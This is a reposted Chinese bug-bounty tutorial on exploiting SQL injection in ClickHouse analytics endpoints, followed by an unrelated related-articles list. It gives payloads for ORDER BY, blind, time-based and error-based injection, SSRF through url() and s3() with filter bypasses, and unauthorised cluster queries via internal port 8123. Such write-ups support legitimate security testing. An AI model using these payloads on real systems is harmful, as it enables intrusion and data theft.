如何用一种SQL注入姿势在src斩获30w+赏金?

news2024/11/29 14:52:35

参考:如何用一种SQL注入姿势在src斩获30w+赏金?

前言

团队师傅在国内外SRC的clickhouse的sql注入挖掘中,累计金额已超30w+,秉持一个技术forfree的思想,还是抽时间整理了一些技术点,希望能够对各位师傅带来一些帮助。

Clickhouse的介绍以及特点:

ClickHouse是一个由Yandex开源的基于列存储的数据库,‌专门为实时数据分析设计,‌其处理数据的速度比传统方法快100-1000倍。‌ClickHouse 和 MySQL 类似,把表级的存储引擎插件化,根据表的不同需求可以设定不同的存储引擎。目前包括合并树、日志、接口和其他四大类 20 多种引擎。

从现有市场应用来看,ClickHouse广泛运用于电商及数据分析平台,已知的国内用到的公司有:腾讯、阿里、华为、字节、京东、拼多多等,基本上大厂都会有用到(数据分析)。有的会原装不动的使用clikhouse,有的则会基于clickhouse去进行二开和性能的进一步优化。无论是clickhouse还是基于clikhouse二开,在语法和sql注入的判断上,基本相似。

言归正传,进入干货正题~

Clickhouse-sql注入的出现点:

举几个大家经常能看到的页面,也是sql注入存在频率最高的地方:

1、数据分析统计

图片

2、自定义热力图分析

图片

3、查询筛选

图片

等等其他存在数据刷新统计的功能页面。

总结来说:但凡是涉及到数据统计分析的地方,都可以着重关注下,这种地方必然会有sql的查询调用,所以自然而然sql注入存在的几率也大。

clickhouse的常规利用:

1、如何判断/证明存在sql注入,大概整理了下面3点

1)对于存在筛选的功能,会存在一些时间参数以及排序,此种情况下,使用单引号拼接进行注入判断,最明显的为时间参数,报错注入时会把sql语句报出,盲注则会返回“系统错误”以及不同的响应长度等信息,如:

图片

对于此类,总结下就是对于数据包中的参数去进行单双引号的fuzz,如果能有报错或者返回包长度不一样,也可以初步推测可能存在sql注入,推荐一个bp插件(大家应该都用过):https://github.com/smxiazi/xia_sql,为减少误报和覆盖范围对插件稍做了下改动。

图片

2)出现比较多的是排序场景,但凡是页面功能有排序的功能,都可以点一下,此处判断相对简单,以oderby为例("orderby":"adShow"),列几个排序注入判断的方法:

A:orderby后面的列可直接拼接sql语句

当"orderby":”adShow,1”返回true,"orderby":”adShow,x”或"orderby":”adShow,0”返回false时,大概率存在注入,orderby后面直接跟sql语句即可注出数据。

B:一些情况下orderby后面不可用逗号去连续写sql语句,此时判断更简单:

当"orderby":”1”返回true,"orderby":”x”或"orderby":”0”返回false时,大概率存在注入,orderby后面直接跟sql语句即可注出数据。

注意:根据排序的特性,此处的0或者x表示表里面存在的列数-列名,如果存在sql注入,输入一个大于表里面的列数或者表里面不存在的列名,sql语句均会进行报错。

来个数据包结构图:

图片

图片

3)还是以筛选为例,仔细观察下数据分析筛选相关功能的时候,会发现其实筛选都会根据列去进行筛选,如果没做防护,也会存在sql注入:

图片

图片

此处会有个小细节,一般筛选的时候,会有个type或者op的字段,type表示类型,对应有int、string等(有些可能用数字1、2、3这种代替),对于一些注入的判断,需要去对类型进行fuzz,如果默认数据包对应的类型不报错,可能type换成其他类型时,也可能会报错,从而进行sql注入利用。

图片

Clickhouse有个特性,toInt64(if(1=1,1,exp(71000)))时为true,toInt64(if(1=2,1,exp(71000)))时为false,因此我们可以用toInt64(if(1=1,1,exp(71000)))去进行快速的sql注入证明:

图片

2、常见的sql注入判断、获取表、用户等信息语句

整理了一份挖掘常用的sql注入判断及证明的payload,不熟悉的可以自己搭建一个环境去测试一下,语句如下:

判断注入点SELECT * from my_new_table order by CAST(create_time AS String); 使用CAST转换字段类型后正常排序SELECT * from my_new_table order by sleep(1); 延时SELECT * from my_new_table order by if(1=1,id,1); 当存在字段id时使用if正常排序SELECT * from my_new_table order by name;select sleep(1);堆叠延时SELECT * from my_new_table order by (SELECT COUNT(fuzzBits('1', 0.001)) FROM numbers(10000000))SELECT * from my_new_table order by id,1 不报错SELECT * from my_new_table order by(1=1?1:1) 和 SELECT * from my_new_table order by if(1,1,1)效果相同,某些情况下如果if被禁用可用来绕过
boole盲注SELECT * from my_new_table order by toInt64(exp(1)) 不报错SELECT * from my_new_table order by toInt64(exp(710)) 报错SELECT id from my_new_table order by toInt64(if(1=2,1,exp(71000)))SELECT id from my_new_table order by hex(if(mid((select user()),1,1)='d','a','z'))=1SELECT/**/POSITION('22'/**/IN/**/version()) 判断当前数据版本SELECT/**/POSITION('22'/**/IN/**/user()) 判断当前用户信息,若括号过滤可用current_user代替
延时注入(sleep和sleepEachRow均可用)SELECT id from my_new_table order by if(1=2,1,sleep(1)) sql注入延时判断SELECT id from my_new_table order by if(1=2,1,(SELECT COUNT(fuzzBits('1', 0.001)) FROM numbers(10000000))) sql注入判断SELECT id from my_new_table order by (select/**/sleep((database()/**/like/**/'%d%')?1:0)) 获取数据库sleep(version() like’%' 获取数据库版本sleep(user() like’%’ 获取用户,若括号过滤可用current_user代替sleepEachRow(user()like'%default%'if(1=1,1,sleep/**/(if(left(database(),7)='default',3,0)))  获取数据库
报错注入select data_path from system.databases where 1=1  order by 1=(char(126)||char(126)||CAST((SELECT name from system.databases limit 1 OFFSET 1) AS String)||char(126)||char(126))'||currentDatabase()||’ 获取当前数据库'||user()||’   获取当前用户,,若括号过滤可用current_user代替select currentDatabase() 获取当前数据库select user() 获取当前用户,,若括号过滤可用current_user代替

以上的payload都是针对排序后面直接拼接sql语句的场景,如果是通过单双引号去判断的sql注入,只需要通过1‘and’1’=‘1或者1’or’1’=’1去进行闭合即可拼接sql语句获取信息。

Clickhouse的深入利用(SSRF及获取数据库集群权限):

1、SSRF的利用方式及绕过

Clickhouse的SSRF根据目前实战的经验来看,主要是由URL函数和S3函数未禁用导致的,URL函数未禁用的情况居多,S3函数取决于业务是否需要提供 S3 特定的功能。

1)由URL函数引起的SSRF漏洞

Clickhouse官方文档针对URL函数的说明及用法如下:https://clickhouse.com/docs/en/sql-reference/table-functions/url

图片

用法很简单,直接套语句拼接即可,直接放几个常用的SSRF漏洞利用证明语句:

针对报错注入场景,使用select * from url(‘https://www.baidu.com', CSV, 'column1 String, column2 UInt32’) 回显百度主页的内容,及证明存在ssrf漏洞若是盲注,若需要SSRF漏洞利用,则需要进行字符串截取(难度较大,危害可能会降低),toInt64(if((select substring(c,1,1) from url(‘https://www.baidu.com',TabSeparated,'c String') limit 0,1)='A',1,exp(71000)))

2)由S3函数引起的SSRF漏洞:https://clickhouse.com/docs/en/sql-reference/table-functions/s3

图片

简单的验证payload:

s3('https://www.baidu.com',RawBLOB)SELECT * FROM s3('https://datasets-documentation.s3.eu-west-3.amazonaws.com/aapl_stock.csv','CSVWithNames’) LIMIT 5;s3('https://www.baidu.com','CSVWithNames'

放几个实战中针对clickhouse或者clickhouse二开的函数url绕过的payload:

SELECT * from `url\\\\\\\\x23`(‘https://www.baidu.com',TSV,'column1 String’)(select/*//**/1,*,1/**/from/*//**/url('https://www.baidu.com',CSV,'column1 String') ) as a

2、URL函数后的深入利用

通过SSRF证明内网连通性以及访问元数据相关的危害不多做说明,大家需要注意点到为止即可。我补充下敏感数据层面的深入利用:

Clickhouse有很多system表,具体信息可以参考下官方的文档:

https://clickhouse.com/docs/en/sql-reference,其中system.clusters表个人认为比较关键,因为在SRC漏洞挖掘中,可以将一枚中高危的sql注入漏洞提升到严重危害:

system.clusters表,存储数据库集群的节点信息,可以通过相关查询控制数据库集群权限。

大概思路就是:先通过查询system.clusters表获取数据库集群的ip信息,再利用clickouse默认会使用一个组件导致会开启8123或者8124端口的特性,从而可以去未授权查询数据库集群里面的所有数据信息:​​​​​​​

select * from system.clusters 返回数据库集群ip以及端口开放情况SELECT * from url(http:/192.168.1.1:8123?guery=show tables',CSV,'column1 String’) 利用8123或者8124端口,通过query后拼接sql语句未授权查询数据库信息(理论上是DBA权限)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2059906.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[ETL趋势」DB表输出支持事务、循环容器次数无限制、实时数据同步目的地StarRocks和Doris支持DDL等

FineDataLink作为一款市场上的顶尖ETL工具,集实时数据同步、ELT/ETL数据处理、数据服务和系统管理于一体的数据集成工具,进行了新的维护迭代。本文把FDL4.1.10最新功能作了介绍,方便大家对比:(产品更新详情&#xff1a…

Elasticsearch核心

一、几个核心概念 1、节点:一个节点(Node)就是一个es进程,一个服务器可以部署多个节点 查询节点以及节点信息: http://127.0.0.1:9200/_cat/nodes?v 2、角色,是指节点在集群中担任什么角色&#xff1a…

安全设计最容易忽略的5大要点?(附注意事项)

在详细设计阶段,忽略安全设计要点会埋下安全隐患,增加项目遭受攻击的风险。而重视并妥善处理这些要点,如严格权限管理、数据加密、输入验证等,能够显著提升系统的防御能力,保护用户数据免受泄露或篡改,这对…

webpark 如何将本地访问地址http://localshot:3000修改为自己需要的访问地址https://www.example.com:3000

后端限制了只能【https://*.example.com】能访问,前端启动本地服务是【http://localhost:3000】【http://127.0.0.1:3000】,访问不到后端接口。 需要在启动浏览器访问的时候,单独配置地址栏访问参数。 项目使用的是webpark加载浏览器。 中文文档&#…

怎么自动备份电脑中的文件?电脑上的数据怎么才能实现自动实时备份?分享三个简单可靠的方法!

数据奇遇记——自动备份的魔法之旅! 在数字的奇幻大陆里,你的文件是勇敢的小精灵,穿梭在无尽的字节森林中。而自动备份,就是那神奇的时光机,悄悄地为小精灵们铺设了回家的秘密通道。不论是Windows的魔法斗篷、安企神的…

小伙严重车祸左足几乎离断,衢州骨伤科医院急诊再植手术为他保命、保肢、保功能

32岁的陈先生被困在扭曲变形的车厢中。双下肢的剧烈疼痛和左踝的撕裂感让他几乎陷入昏迷。 这是一场发生在衢州的严重车祸,附近的居民都有所目睹。当时消防员迅速赶到现场,将陈先生从破碎的车内救出,并紧急送往当地县医院。县医院的医护人员…

React 学习——useCallback

传递函数&#xff0c;父组件重新渲染的时候&#xff0c;并不会让子组件跟着重新渲染&#xff1b; import { memo, useCallback, useState } from react;const Son memo(function Input({onChange}){console.log(子组件渲染);return (<div><div onClick{()>onCha…

Ubuntu技巧-Ubuntu远程访问之电信公网IP

&#x1f4a1; 大家好&#xff0c;我是可夫小子&#xff0c;《小白玩转ChatGPT》专栏作者&#xff0c;关注AIGC、互联网和自媒体。 前面文章介绍了家庭服务器接入外网的三种方式的第一种&#xff0c;今天介绍第二种&#xff0c;即通过获得电脑公网IP&#xff0c;然后再设置动态…

前端调用后端,出现跨域报错怎么办

我前端是vue&#xff0c;后端是其他同事写的python&#xff0c;因为部署在不同的机器上&#xff0c;我前端如果直接调用他的python&#xff0c;axios请求就会出现跨域报错&#xff0c;如下 blocked by CORS policy 云云 怎么办呢&#xff0c;网上探索了一下午&#xff0c;才找…

使用JDK17的record关键字编译报错踩坑

先看报错 jdk版本是17.应该是支持的啊。第一次使用record关键字就这样了吗。 解决 在设置里面把字节码版本改为17就行&#xff0c;因为以前是运行jdk8的所以会出现这个问题。 设置好了之后编译就通过了。 总结 一般出现编译错误&#xff0c;首先看一下Project Structure 再…

2025舜宇光学校招内推码!!!

舜宇光学集团校招 【2025内推码】 DSwNQ9yu DSJXN8Mr 舜宇光学科技2025校招内推&#xff01;冲冲冲&#xff01; 光学龙头-舜宇集团2025届全球校园招聘正式启动&#xff01;&#xff01;&#xff01; 提供住宿&#xff08;硕士单人间&#xff0c;独立卫浴&#xff01;&#x…

期权末日轮要在什么时候买?期权末日轮要买什么?

今天带你了解期权末日轮要在什么时候买&#xff1f;期权末日轮要买什么&#xff1f;对于刚接触50ETF期权的朋友&#xff0c;“期权末日轮”可能听起来有点神秘。其实&#xff0c;它指的是那些快要到期的期权合约&#xff0c;特别是在合约到期前10天开始&#xff0c;市场就进入了…

泰国社会发展和人类安全部部长秘书率考察团到访深兰科技

8月19日&#xff0c;泰国社会发展和人类安全部考察团到访深兰科技集团总部&#xff0c;深兰科技集团董事长陈海波会见并进行了关于AI技术和产业合作的会谈。 考察团随行人员还包括泰国社会发展和人类安全部部长顾问MR.SOMCHAI SENEETANTIKUL、MS.RACHANEEWAN AKHARAWIKRAI、中国…

并发?听我对你“锁”

本文主要讲讲&#xff0c;在Java中关于锁的一些知识点&#xff0c;并介绍一下对锁进行的一些优化 一、前言1.阻塞锁2.非阻塞锁 二、Syncnized和锁的底层原理三、锁优化1.自旋锁2.锁消除3.锁粗化4.轻量级锁5.偏向锁 四、锁升级过程五、其他锁和AQS 一、前言 本文主要讲解Java中…

【机器人学】7-2.六自由度机器人自干涉检测-计算圆柱体的上下圆心坐标【附MATLAB代码】

目录 前言 机械臂几何参数 机器等效圆柱体坐标确定 MATLAB代码 前言 上一章介绍了机器人自干涉检测的总体算法&#xff0c;提出了算法的三个核心&#xff1a; 一 根据机械臂的几何数据以及DH参数&#xff0c;确定机械臂等效的圆柱体的上下圆心坐标。 二 将一个圆柱体旋转到…

nginx部署vue前端打包项目

一、nginx安装 安装说明见&#xff1a;Nginx使用命令安装说明-CSDN博客 二、打包文件上传部署 将vue打包后的静态文件进行上传&#xff0c;打包后的目录如下&#xff1a; 将dist文件夹进行压缩为dist.zip&#xff0c;并将该目录打包上传至服务器的nginx目录&#xff1a; /usr…

新课程杂志社《新课程》杂志社2024年第19期目录查阅

教育前沿_新时代教育 享中华传统节日&#xff0c;传中华传统文化——传统节日综合性学习活动设计 姜秀芝; 1-3 中华优秀传统文化在小学语文阅读教学中的渗透——以综合性学习“中华传统节日”的教学为例 张小红; 4-7 开卷有益 在思考中探索&#xff0c;在探索中成长…

Qt 0820作业

一、思维导图 二、闹钟 头文件代码 #ifndef WIDGET_H #define WIDGET_H#include <QWidget> #include <QTime> //时间类 #include <QTimer> //时间事件类 #include <QTimerEvent> //定时器事件类 #include <QMouseEvent> //鼠标…

无人机之故障排除篇

一、识别故障 掌握基本的无人机系统知识&#xff0c;遵循“先易后难、先外后内、先软件后硬件”的原则进行故障识别。一旦发现故障&#xff0c;立即停止飞行&#xff0c;避免进一步损坏。 二、机械部件维修 对于机身裂痕、螺旋桨损坏等情况&#xff0c;根据损坏程度更换相应部…

Tomcat目录详解

版本&#xff1a;Tomcat&#xff08;7.0.100&#xff09;&#xff08;linux版&#xff09; &#xff08;官网&#xff1a;Apache Tomcat - Welcome!&#xff09; 1.Tomcat是什么。 Tomcat是一个免费的开放源代码的Web 应用服务器&#xff0c;属于轻量级应用服务器。是Apache…